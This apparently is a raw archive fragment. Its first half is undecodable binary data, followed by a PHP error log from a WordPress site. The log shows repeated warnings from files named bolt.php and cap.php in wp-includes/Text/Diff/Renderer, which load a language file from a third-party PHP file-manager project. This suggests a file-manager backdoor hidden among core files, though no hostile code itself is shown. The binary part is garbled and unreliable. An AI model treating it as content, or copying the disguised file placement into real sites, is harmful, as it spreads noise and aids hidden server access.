dYKto}.uXz0?V =82@>gr	Twk#s&<lQylj-N7LD׻>6=zJ@DHWQa2c[_2vԋod:VX>oj}|^"lH7гn{[`p^fz]R܎U7<}UHdP$}4?MwRmqɧzr[XŊ#o~G	0Լ7<TJ?%r¾oB0*D|Iz^`f]&_lnJ~?iC׎4J+XXKՖ]u*y+R!W]e9ۆZ.F&cIZٴͅ4Um7jGʳT[V{loz*bjiOƏ|%U9_d,\-v݊>cbk׸rբd:zyX3*P:^ZajXzW|x9#;n6*{wHY1y@p6#^(HK(0K!%{YiTÇOrV*BR`5{ݫQq1/nR)Ja/Ɣ:PZFe"/N^(FNlnZ&f
8Ly)yseIG;O`aCf/zǖoMmJ]ʏ3OxYQkK3P5@}:ޓkA|ÓjD!kkdƆ ukѭ7;^eZ|M}V^$Ǎ,wnuZCHSڨ_wz+I
m$3تwy| F|nթ;!mEd2~c&)ZEZޘ.VD5Wr{GNc[kƥI&s\v=E`?47'l4gF8Z0 G^o$[h|>Iljz)DKFg:k&Uݎ1QPȍ(0bFHSa(/ñ=қI52"'8ٟd I )@GׁX;ĳAs`ҭ7`u	mqgzL6I`SHSoͳ`9F,8X'#,))Jn7L6n$>0pɈn	F,J7n6?ӻFmo3V,20KnWDe{AƲ@+2-u]~dLcI2(8; R)>dNn䓥\1tvhhfrx](m4cLr2R¦;^֛ƒP<J!+VqmtR|99oaI Oev ]ۜĢZ|G^LN)8,M癘֪ioi[3'f/ūYX́M;)Y,Ur;xҚen]?R}^ɛm;Pfd`2ʪȅlfo3a44&Xj,5N\#97ج$SCo?[	|8՞֭Xe\yݶFrO:w||
Rjo4ZFS.PwɖޱrIl$rjCzm34ff|Pmjj@џb9ɏd}#J!<xs^!N5KR5j.=;zB/xӥQ^*}FURdҰHoY1$|d|xBŢu^ U,W{X6\9(Wnv:rEKi,Kaa9--------------䧳~6Tb*=HyJ`+/¬`3N徝"&J9R},(7ەB/ȭ7iD=Xaͽ$CF%XCF)1DlkM!C삹X+޿*fPtþ)uqPNVЌz]P#6ߓi.E{"\kEJJf;x'>!nzժ` 23L+_֪zr632(k}o(QζΒd&^әBfKt=$'Q@P招@aJB}(Vp5S8qT+X4,/bn2ὙM 엽2C6?vZnv0TR)/n'ta	Jq>FvdJq8,'FhlPhBڄ̚Ng-NFӛ2_<b|f}s+M.ٴ+Jé06UtK;|r%a/W(rd̮r>ZaS6w	"aG^ZM~tw2Ax]=z'#5`"_\RFz`<8+#с]<F5 T X!G =(PNV$WBs*[EW#Qe1=w[bms7/fA+Eƫ0ނn}o]-P@OHo5(܋ELFl=
I0U'UdyeiFb9&ߏ&&(ƫ*ǻ0wG#0][IQIfPl͒uR0uE UtWlqX+Iҡ*R;^oBJXzno1ܔšW
quꋥǇ(E6},w}Gb$rYtE{IJ00R1|G,EK0ih姫0^yc+:*⬔lNS]I喟_{lsnͲTXW$n-H)n_(: w<S*J}Yi8*!sf
(0с~H8;lG`%4>r^3<s\c3rciXإVQ"%y]qWȆL)S3jkNC=+ XvAlJ 
hE97[ʒfrK{0Lq~8\*鋯8>R֠4 +	Ձ4sUkiT)Ur5.њw:aޟb<\o3T`<YyzTaXlbnXoljTkyQ:ҁ˃bc``7<!luf)	M~dh"0<
^R;2}V;2`##N/Ԁb0&@ɷ3r?TyBNoyyS[}' 71 FS[I"~z^|`05q1H)ـk}r>' y߇lWW
eaı\i͉
<QCwM2ero}x	
Q)-_2OԫNN,x-Eh|hvGc[ M;aFzAx.Pn%HDQުg͡ڌ8ƱM8SeTè%NaUD!Lاv}/e
(bǲ"u*(x(P*Ԃ1. ˓k!V-:/	aCP:+*^^F`h@p@l0
˳f3<j$zMq	||e;lr+@ c	5x2R!$-/O1iDD'#φɃ(ra^v9{._,`8ci%9M*|шgG_kl@G_-2>;Pj/D yir>W=q>Kw
&=V6	%$dO91ʋLaDzR]>Bٚ%v$-h_2 Q̜z ({:%`slAbarb9
b{ףe9 gzҨqh6$ⷽ2LmuudȮ\Pѓuaˢn rP\+Zةv|~g+b.	qSDvV\[>UiYkWS!u]
K\O2l<H	W>X"߱Sࡇ(|΄WFn"ךMi %ȭ^7z.>ɥ|s7mdw&<eJ75֟c)PD$vr\ac(ӫ>u2H_ũ}a?́Լ'I%3N;-pJ@O.vP]ٵ;!^Y4:;mnbĄ"/jK.ƾLyH9j}kt#D2U8Lkd}Ԛ\t+*$(i>fIuKHT'<~B4YHۧ:c'>?ت|Y.@j#@F4!R@ʘ8m
,hAPSJ	}Ӏ8*A!~}difs"t \c	rih'񡁼Vo0?C(Hߛ00
WGG&sn'!F61G㈯Q+6ۭSB`jY|?-śYwNN~?vfa0M@tS(F91e,;YhZ4TFi;b5b+2j8ou(.-Kd#.(=q"T4^*Pc(1焝B Vя ȩ.9e`ԛ 3a U.c@JѮ3kw,S%Fa&(N!@Xofn	ΏjZխSHU9^px`c6I|zI~og@>NX$BkSwf'.ٱ 9sX&'19;eLYN(s;E:\UW=x)njhu;9\6#};UZ}hEQZgXg"j[xT!pI-+7 U\R.5x0Bz΢JI	^e~w@<L-1U{^DA6\BCZ	`wYq}
O(,aǜD2qR-3r|{:WM"+f.k\9Ɖa9:3p>iqƞ&[ɮ
,É	"u.YINBw*r&xOZr{i/z`e	IN԰̓DѤ32w`W6q%	p^H2c&\EL* ıK(Ռ'1\q#(,3lc<:2J<C|]f	DAMQk(0׍:$lK-WB6V
&h2xlKOz*oז Iǰ4"U5Vڅ:Z/2Wx4=YmLL@y٠@%,HԢ`ȔhiZĉ' 
t^_Sq  |\P~rl,`x8&Iꎗk{\$!QUkYN<Ko4?K`ܨccP3}r#ǒCن"	u'j'({0S)|NTY
Y
>#UV b
x{ysymRDP<ɉ.൤+Ep@hJ,F7rq:dQ%ɏ7I!XnnV	y'k^dS65Z%3U	'LNzogS^0C|Dz?p}D&S՝KV+v#B1?t@tQ5ƢbR2^fTxY^עaT%~ter1ڶ,n[nAw?vKюQn\uiqiVeжe>@7]Yhpa;^N.ܙ8aDvWW^ށ¾LTVK2O02c8|	|[	zՖPP2qL{PX6]`KAc"1Za%bMSM8r9,Z!G4+xrSV*֪] ɼs`OM<Z.GTl`3=c8 Qs簦e4l@F `-	E۴	R:mŸK Z8:!尠7^EÔEvy-0o-*OCqAn1A}犄Zm oֲc17p0^+
f]ZSVOZ:၀>*']->|8]!"SlfZs 'I\W/2! &S?9l3٦i|w"=<Vh`4؛SC4xUnwݞi~yKTBRhB+60)x]:lPH
jX3g? -5qOHԄAw #Jw-Z=}gGD[SEf,6w(&AXX.Ls=Q+h:e0:AN`2F?)rhvFMsI_c-q.?F	1j2yq5qB>7?:v^OJ*H/!T@KsF5dQ|)6pG]%!Z2Ɲ^jug*Hp*?YZ|Z57g	PWkyU9d=ja0r@uUK%a)n.*yV #%:n8ZUc=/.ѪZ-B2+G5[j}VHC	B0`p؈^7P$ l3B3Z/s9m3$ry	Mo}^KͳJdoYDB,`$T `Xْz0>p8sM#,9g@̃Kg(N2MPzCgVXKBºGz~,1Q&:jR˚H[:vJ0g'2QP'ℝzZ~BJQмU'WTjTi"h'a~"H ){fk.6Ds}ϻU>NuPy@_Ig+vD;Z[w7ߙx	9tsbmasӖE8OfV 8zvj5;-f7YԍX/q?:e:a25P,NfW`͊O8c,DpyLD@],rI&;BI'%p;BwGhwG|p=.5F S1 811/n6ĎP1dhJ~;h<6zM<GQpLmV:Á
ӤFM1>?L*3s]EdX90XF	#$!xc2xqGG6ƅac
lu(!5^`8NF,с4t΄DQ4UNZgU@PBMQ32Pe:z*8dy-qt-z*03VfB-/lEje<i>({E
YE3ECǅK U&m:Imi,Ҙ⍳t87`nJ=S"w~'֝_;ݠ*p)ihisGlqFD)FmmH`B&*F<-qׄE-ӏ7ژBɗ[@1q4쟥~,<kXUb6x𘘚-z촠Q% #SB-;4j.AFy͉L5ᶶwC1OKj?bP@Bhiq'2\=m+JD"^<#::5]}TQ0G@qT.Ocp"b&0s|piz"CaK24al2ܦp 5zĩ)@* 2^ˉq5FY	tݩ-z\Gbthr=A0ohP:А =r%.F`]԰%0X (N2*G-sA F84++HwD(滆&> p܈ĞeA/	^Nd	Bi'cw"#+"k\Ck:{4A׎p[{WhNY\^
bl$o]$HM.,9߳c X	ȵ?bهl{K_+"eJpJUz?'nnZEikxA/pfVVPQ']u1B9v9'	T5&%xw*aipbrDsS$pZh
Ɔq;HӖØ&]{7xv؛B5
{UwR,cjE	*D}oPIﳧ[l%6]-{+]^=wL6ڹlɚtLĂ%ӼPxi
XTyŤ}	TZ`nE*cW S]^x%bGOȣZG.Wo@u&J%<+ϔMS->k[Bh7@z IE{C5`;N*ׁs--|@jdpR:Xd,~{`x-:w:@! onǦ
zt 3Y`>>f#U ڡ+ݬ l/fŁdNj}Q<|IТ$/]iA9Kf,,
	B=H8ÓKscݨ|GV,Y)C.8~
V+I^@e7 "Æ@'1!IjQ@a77e\qefiCԏR*ϒ50j-ph2l`֣@hԈQυ
市;wBM@N5*Dm-qׄGxFhr6$pYVPYNW{qDM!\5=`? we!	@ͦh
m<SO]HLm5,abb`HB,Oiu( b1zgvnSiS5(@:l%9lhZLB~r!{xR{O$Se!rU8eDFڽIʛY:LgL!j@gڈ1si|k!y狞fSڔAӪyVU*r3UuWchNZ)>Q'+}5y1s&h7teI`Ctya<s1.4YncFm Ϳ0I8e	,2>zOUjG$&5-M)TQ^`f~Aoy81;F&ߢvq,r.WKF)֞!6jiJMLP2O?ω0b~)W-}A]+=$I	`abIvwaj砌;l4صq %<@'kHA<CR23a<'>K520VL`j-1_M:QY^J *6PQFs7G7S}cOJ>-i~n5ձ23ǂ7@gő/-R>|: :iޯ%)[M;ZXB{	-R7͑xwW+h MaKO(I)f$x@բ݆;V=$uuGW,ZlSqi`r>lF"AVkMp)tX=  ,7fޠ a\8|a 堼h/o(xDD/{|Y[G%}-I[뤣jz8ta^x=8G?`R=FsJp:&ud	?Qj7 ݥH)TuPteh,|&6GzɁG1q<<gΔˀAhͥ"88*M3K3^]	AND8v"MffB#PQ:wnN:"PUTK'bʆ[$=9kDܥj<aupb	® ٵG7x  i,v5޷~%mpAcL -q+Cwn(;N{p 8OTr6L,S =g֝7lz[(Ӟj6(f9	ڠ։ٍF^ښAux~g =m]m`@0M}Gƿ%ԓmǓ~T"ۆO*g'ˢ>;"/.̺Gi..г_gPt{YY0[0DuX{ĥ_)<*vU^2__LPK,&i#p#%Q<T7Fk\Cuh훸Rs:exVlOxxV!S4ebP^5A3OVfT2MV5y bbg[ZDv鱮Zqjj:֭5/g=`O}V3eX+ӘAM&ޞz?8'aXU6np
K 3[BYRtY8q`}\{d?$ݛDZ%ǞK#Go@'AA@B5<[|E}>$[
4Hi*

=/ I |T [$YRSvLRᐤLhf您> "Cch"ƨ3vȀyL pk/bB,@IpĶ0#qСC&hʺvw[JXIM qC7f1kAgt!T9z.{q)od)q
b}lAV%t:^ I@ү.CerD 3fn	n'{8'x5[x{"GBCx`"pz`\CY@lބV"~=A;J}++Sа=?$	"MqcaFNn/]X ȹ9'̤M1:%3q+|<RT:hOg<ϖx3D>

ى=dE`/ʌdE	L=lԣn&8klB#f6@	c(Zf`8Qw +
FKաe	agUx3krwPup}~K[t|ӎ<vԟVf'2Xc2tr^?XvM>)m{}a#.-.
}|Y0ʇjOXE,Ht*t:e΋΁Ԅ]$._(J˄s1]_<W~.Q|b<v2qo_`qplj+	x}=Lg$:a@0{2X] ub`b3MS1{MۍkTgs1=P86!P&g?ޒub{9F|h!	kI;oMNf;1}w'aէw:}׍/A`gu2ftթT+yƴ3YkoZT+L]?9fʩ'*8]
S3S_oWǩOf6o!{脠5Nq|2)/?_~| @                                                                                                      error_log                                                                                           0000644                 00000121342 15217301621 0006462 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       [25-Jun-2026 02:42:09 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 02:42:09 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 02:42:09 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 02:42:09 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 02:42:09 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 02:42:09 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 02:42:16 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 02:42:16 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 02:42:16 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 02:42:16 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 02:42:16 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 02:42:16 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 02:43:20 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 02:43:20 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 02:43:20 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 02:43:20 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 02:43:20 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 02:43:20 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 17:18:53 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 17:18:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 17:18:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 17:18:54 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 17:18:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 17:18:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 18:38:08 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:38:08 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:38:08 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:38:08 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:38:24 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:38:24 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 887
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 887
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 888
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 888
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 889
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 889
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 890
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 890
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 891
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 891
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 892
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 892
[25-Jun-2026 18:38:54 UTC] PHP Warning:  foreach() argument must be of type array|object, null given in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 558
[25-Jun-2026 18:38:54 UTC] PHP Warning:  foreach() argument must be of type array|object, null given in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 558
[25-Jun-2026 18:38:55 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:42:01 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:42:01 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:42:01 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 18:42:01 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 18:42:01 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 18:42:48 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:42:48 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:42:48 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 18:42:48 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 18:42:49 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:43:22 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:43:22 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:43:22 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 18:43:22 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 18:43:22 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:43:35 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:43:35 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:43:35 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:43:35 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:43:35 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 18:43:35 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 18:43:35 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:43:35 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:44:00 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:44:00 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:44:00 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:44:07 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:44:20 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:44:20 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:44:20 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 18:44:20 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 18:44:20 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:44:20 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:44:20 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 18:44:20 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 18:44:20 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 18:44:20 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:44:46 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:45:32 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:45:32 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:45:32 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:45:32 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:01 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:01 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:01 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:46:16 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:16 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:16 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:46:29 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:29 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:29 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:29 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
